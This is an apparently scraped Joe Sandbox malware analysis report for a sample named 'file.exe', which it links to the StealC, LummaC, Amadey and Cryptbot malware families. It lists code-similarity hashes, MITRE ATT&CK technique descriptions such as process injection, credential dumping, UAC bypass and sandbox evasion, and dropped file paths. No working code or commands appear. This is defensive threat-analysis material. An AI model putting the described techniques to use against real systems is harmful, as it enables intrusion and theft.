Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e56e85d3793a0f4e761ff8f8362607d8bf849bd197acd1c0af18c6b7dbfe6d
Instruction ID: d50be91011134d3f54a3e2db29f698b36bda3f8b9bbbc03dcf1bb639a28d40f2
Opcode Fuzzy Hash: a9e56e85d3793a0f4e761ff8f8362607d8bf849bd197acd1c0af18c6b7dbfe6d
Instruction Fuzzy Hash: 4542AF31A0C3118BC725DF28E88066BB3E2BFD4314F25893ED995A7385D739A855CB87

Function 00405C90 Relevance: .4, Instructions: 417COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a1d6e3d5ba60b3bd1d97c05962dbaf1adc3ce7802fd18f61ea84a3f4fb9068
Instruction ID: b1d29b5d4b1c35b0e31dc0ce13bb5c519f35e0eb22e22dceb78cb20d493a081f
Opcode Fuzzy Hash: 21a1d6e3d5ba60b3bd1d97c05962dbaf1adc3ce7802fd18f61ea84a3f4fb9068
Instruction Fuzzy Hash: 56F1AC712087418FC724CF29C881A2BFBE2FF95304F44492EE4D697791E639E944CB9A

Function 0040BC9D Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0cd06d0c460137d603e80f6f3d8983a298fc10b1a175a93c8f847950acd8102
Instruction ID: c0129cb8722ff713d90eb3b65e812c21d2aeb054e04a62e4d84559ed6a3f55ec
Opcode Fuzzy Hash: f0cd06d0c460137d603e80f6f3d8983a298fc10b1a175a93c8f847950acd8102
Instruction Fuzzy Hash: 89F082B5A183815BD7189B24D89563FB7A1EB87614F10552DE2C2D2292DB25D8068A0D

Function 0043B860 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2665817593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_r5mqFEC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction ID: 34fde4c13fcfd63171c7d53dbec0e996951c7845071132db72e9b575714ea7da
Opcode Fuzzy Hash: e37c34810d76ac32ed1e3c693d6fe2006ff27c0c8d8d7da8e10277fe1322ecdb
Instruction Fuzzy Hash: 90B01254B142087F0064AE0E8C45D7BF7FED2CB650F107018B408A3314C650EC0482FD

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_3996dc7402.exe_e92f79ef6b83407a3b82847234fc2de7dfc95544_67394e0a_1caab2f9-eabe-4ca6-8051-4f6b40c0e316\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E51.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER421B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4299.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre